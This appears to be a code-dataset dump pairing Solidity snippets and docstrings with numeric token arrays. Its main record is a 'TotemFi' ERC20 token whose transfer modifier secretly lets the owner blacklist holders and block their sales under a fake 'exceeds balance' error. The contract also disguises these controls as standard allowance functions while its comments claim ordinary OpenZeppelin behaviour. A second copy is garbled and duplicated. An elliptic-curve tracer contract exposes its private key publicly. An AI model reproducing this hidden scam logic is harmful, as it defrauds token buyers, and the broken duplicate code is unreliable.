_mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract TotemFi is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} }
2,098,868
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 399, 352, 351, 42, 77, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 377, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 14739, 1887, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 11223, 1887, 31, 203, 377, 203, 565, 2254, 5034, 3238, 389, 87, 1165, 6275, 273, 374, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 377, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 565, 2254, 5034, 3238, 389, 12908, 537, 620, 273, 22821, 7235, 3462, 6675, 4366, 9036, 2313, 3657, 6564, 4366, 10321, 5908, 7140, 713, 5292, 28, 7235, 8642, 7140, 27284, 2733, 5193, 6028, 25, 1105, 6260, 1105, 4630, 29, 7950, 5877, 5193, 713, 7235, 3437, 24886, 4449, 2733, 4763, 31, 203, 203, 565, 1758, 1071, 389, 8443, 31, 203, 565, 1758, 3238, 389, 4626, 5541, 31, 203, 565, 1758, 3238, 389, 318, 77, 10717, 273, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 31, 203, 377, 203, 203, 97, 203, 2 ]
pragma solidity ^0.4.18; contract AuditTracer { uint256 public gx; uint256 public gy; uint256 public p; uint256 public n; uint256 public a; uint256 public b; // The address of the account that created this ballot. address public tracerCreator; mapping (address => uint256) private CredentialTraceTimes; mapping (address => uint256) private CredentialTraceResults; mapping (address => uint256) private IdentityTraceTimes; mapping (address => uint256) private IdentityTraceResults; uint256 public seed = 0; uint256 public xt; uint256 public yt_x; uint256 public yt_y; uint256 public c_x; uint256 public c_y; uint256 public i_x; uint256 public i_y; constructor() public { tracerCreator = msg.sender; } event trace_log( string information, address indexed sender, uint256 timestamp, uint256 calltimes, uint256 obj ); function credential_tracing_log(uint256 obj) internal { emit trace_log("credential_tracing_log", msg.sender, now, CredentialTraceTimes[msg.sender], obj); } function identity_tracing_log(uint256 obj) internal { emit trace_log("credential_tracing_log", msg.sender, now, IdentityTraceTimes[msg.sender], obj); } function register_parameter(uint256 _a, uint256 _b, uint256 _p, uint256 _n, uint256 _gx, uint256 _gy) public{ a = _a; b = _b; p = _p; n = _n; gx = _gx; gy = _gy; xt = rand_less_than(_n); } function get_private_key() public view returns(uint256){ return xt; } function calculate_public_key() public{ (yt_x, yt_y) = multiplyScalar(gx, gy, xt); } function get_public_key() public view returns(uint256 , uint256 ){ return (yt_x, yt_y); } function credential_tracing() public returns(uint256,uint256){ CredentialTraceTimes[msg.sender] += 1; return (c_x,c_y); } function identity_tracing() public returns(uint256,uint256){ CredentialTraceTimes[msg.sender] += 1; return (i_x,i_y); } // trace the credential function credential_calculating(uint256 xiupsilon_x, uint256 xiupsilon_y) public{ if (CredentialTraceTimes[msg.sender] == 0){ (c_x,c_y) = multiplyScalar(xiupsilon_x, xiupsilon_y, xt); } credential_tracing_log(xiupsilon_x); } // trace the identity function identity_calculating(uint256 zeta1_x, uint256 zeta1_y) public{ if (IdentityTraceTimes[msg.sender] == 0){ uint256 nxt = inverseMod(xt, n); (i_x,i_y) = multiplyScalar(zeta1_x, zeta1_y, nxt); } identity_tracing_log(zeta1_x); } function rand_less_than(uint256 upper_bound) private returns(uint256){ uint256 r = PRNG() % upper_bound; return r; } function PRNG() private view returns(uint256) { return uint256(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty,msg.sender,now)))) ; } function quick_power(uint256 al, uint256 bl, uint256 m) private pure returns(uint256){ uint256 result = 1; for(uint256 count = 1; count <= bl; count*=2){ if(bl & count != 0){ result = mulmod(result, al, m); } al = mulmod(al, al, m); } return result; } /** * @dev Inverse of u in the field of modulo m. */ function inverseMod(uint u, uint m) internal pure returns (uint) { if (u == 0 || u == m || m == 0) return 0; if (u > m) u = u % m; int t1; int t2 = 1; uint r1 = m; uint r2 = u; uint q; while (r2 != 0) { q = r1 / r2; (t1, t2, r1, r2) = (t2, t1 - int(q) * t2, r2, r1 - q * r2); } if (t1 < 0) return (m - uint(-t1)); return uint(t1); } /** * @dev Transform affine coordinates into projective coordinates. */ function toProjectivePoint(uint x0, uint y0) public view returns (uint[3] memory P) { P[2] = addmod(0, 1, p); P[0] = mulmod(x0, P[2], p); P[1] = mulmod(y0, P[2], p); } /** * @dev Add two points in affine coordinates and return projective point. */ function addAndReturnProjectivePoint(uint x1, uint y1, uint x2, uint y2) public view returns (uint[3] memory P) { uint x; uint y; (x, y) = add(x1, y1, x2, y2); P = toProjectivePoint(x, y); } /** * @dev Transform from projective to affine coordinates. */ function toAffinePoint(uint x0, uint y0, uint z0) public view returns (uint x1, uint y1) { uint z0Inv; z0Inv = inverseMod(z0, p); x1 = mulmod(x0, z0Inv, p); y1 = mulmod(y0, z0Inv, p); } /** * @dev Return the zero curve in projective coordinates. */ function zeroProj() public view returns (uint x, uint y, uint z) { return (0, 1, 0); } /** * @dev Return the zero curve in affine coordinates. */ function zeroAffine() public pure returns (uint x, uint y) { return (0, 0); } /** * @dev Check if the curve is the zero curve. */ function isZeroCurve(uint x0, uint y0) public view returns (bool isZero) { if(x0 == 0 && y0 == 0) { return true; } return false; } /** * @dev Check if a point in affine coordinates is on the curve. */ function isOnCurve(uint x, uint y) public view returns (bool) { if (0 == x || x == p || 0 == y || y == p) { return false; } uint LHS = mulmod(y, y, p); // y^2 uint RHS = mulmod(mulmod(x, x, p), x, p); // x^3 if (a != 0) { RHS = addmod(RHS, mulmod(x, a, p), p); // x^3 + a*x } if (b != 0) { RHS = addmod(RHS, b, p); // x^3 + a*x + b } return LHS == RHS; } /** * @dev Double an elliptic curve point in projective coordinates. See * https://www.nayuki.io/page/elliptic-curve-point-addition-in-projective-coordinates */ function twiceProj(uint x0, uint y0, uint z0) public view returns (uint x1, uint y1, uint z1) { uint t; uint u; uint v; uint w; if(isZeroCurve(x0, y0)) { return zeroProj(); } u = mulmod(y0, z0, p); u = mulmod(u, 2, p); v = mulmod(u, x0, p); v = mulmod(v, y0, p); v = mulmod(v, 2, p); x0 = mulmod(x0, x0, p); t = mulmod(x0, 3, p); z0 = mulmod(z0, z0, p); z0 = mulmod(z0, a, p); t = addmod(t, z0, p); w = mulmod(t, t, p); x0 = mulmod(2, v, p); w = addmod(w, p-x0, p); x0 = addmod(v, p-w, p); x0 = mulmod(t, x0, p); y0 = mulmod(y0, u, p); y0 = mulmod(y0, y0, p); y0 = mulmod(2, y0, p); y1 = addmod(x0, p-y0, p); x1 = mulmod(u, w, p); z1 = mulmod(u, u, p); z1 = mulmod(z1, u, p); } /** * @dev Add two elliptic curve points in projective coordinates. See * https://www.nayuki.io/page/elliptic-curve-point-addition-in-projective-coordinates */ function addProj(uint x0, uint y0, uint z0, uint x1, uint y1, uint z1) public view returns (uint x2, uint y2, uint z2) { uint t0; uint t1; uint u0; uint u1; if (isZeroCurve(x0, y0)) { return (x1, y1, z1); } else if (isZeroCurve(x1, y1)) { return (x0, y0, z0); } t0 = mulmod(y0, z1, p); t1 = mulmod(y1, z0, p); u0 = mulmod(x0, z1, p); u1 = mulmod(x1, z0, p); if (u0 == u1) { if (t0 == t1) { return twiceProj(x0, y0, z0); } else { return zeroProj(); } } (x2, y2, z2) = addProj2(mulmod(z0, z1, p), u0, u1, t1, t0); } /** * @dev Helper function that splits addProj to avoid too many local variables. */ function addProj2(uint v, uint u0, uint u1, uint t1, uint t0) private view returns (uint x2, uint y2, uint z2) { uint u; uint u2; uint u3; uint w; uint t; t = addmod(t0, p-t1, p); u = addmod(u0, p-u1, p); u2 = mulmod(u, u, p); w = mulmod(t, t, p); w = mulmod(w, v, p); u1 = addmod(u1, u0, p); u1 = mulmod(u1, u2, p); w = addmod(w, p-u1, p); x2 = mulmod(u, w, p); u3 = mulmod(u2, u, p); u0 = mulmod(u0, u2, p); u0 = addmod(u0, p-w, p); t = mulmod(t, u0, p); t0 = mulmod(t0, u3, p); y2 = addmod(t, p-t0, p); z2 = mulmod(u3, v, p); } /** * @dev Add two elliptic curve points in affine coordinates. */ function add(uint x0, uint y0, uint x1, uint y1) public view returns (uint, uint) { uint z0; (x0, y0, z0) = addProj(x0, y0, 1, x1, y1, 1); return toAffinePoint(x0, y0, z0); } /** * @dev Double an elliptic curve point in affine coordinates. */ function twice(uint x0, uint y0) public view returns (uint, uint) { uint z0; (x0, y0, z0) = twiceProj(x0, y0, 1); return toAffinePoint(x0, y0, z0); } /** * @dev Multiply an elliptic curve point by a 2 power base (i.e., (2^exp)*P)). */ function multiplyPowerBase2(uint x0, uint y0, uint exp) public view returns (uint, uint) { uint base2X = x0; uint base2Y = y0; uint base2Z = 1; for(uint i = 0; i < exp; i++) { (base2X, base2Y, base2Z) = twiceProj(base2X, base2Y, base2Z); } return toAffinePoint(base2X, base2Y, base2Z); } /** * @dev Multiply an elliptic curve point by a scalar. */ function multiplyScalar(uint x0, uint y0, uint scalar) public view returns (uint x1, uint y1) { if(scalar == 0) { return zeroAffine(); } else if (scalar == 1) { return (x0, y0); } else if (scalar == 2) { return twice(x0, y0); } uint base2X = x0; uint base2Y = y0; uint base2Z = 1; uint z1 = 1; x1 = x0; y1 = y0; if(scalar%2 == 0) { x1 = y1 = 0; } scalar = scalar >> 1; while(scalar > 0) { (base2X, base2Y, base2Z) = twiceProj(base2X, base2Y, base2Z); if(scalar%2 == 1) { (x1, y1, z1) = addProj(base2X, base2Y, base2Z, x1, y1, z1); } scalar = scalar >> 1; } return toAffinePoint(x1, y1, z1); } /** * @dev Multiply the curve's generator point by a scalar. */ function multipleGeneratorByScalar(uint scalar) public view returns (uint, uint) { return multiplyScalar(gx, gy, scalar); } }
* @dev Multiply an elliptic curve point by a 2 power base (i.e., (2^exp)P))./
function multiplyPowerBase2(uint x0, uint y0, uint exp) public view returns (uint, uint) { uint base2X = x0; uint base2Y = y0; uint base2Z = 1; for(uint i = 0; i < exp; i++) { (base2X, base2Y, base2Z) = twiceProj(base2X, base2Y, base2Z); } return toAffinePoint(base2X, base2Y, base2Z); }
5,529,718
[ 1, 26040, 392, 415, 549, 21507, 8882, 1634, 635, 279, 576, 7212, 1026, 261, 77, 18, 73, 12990, 261, 22, 66, 2749, 13, 52, 13, 2934, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
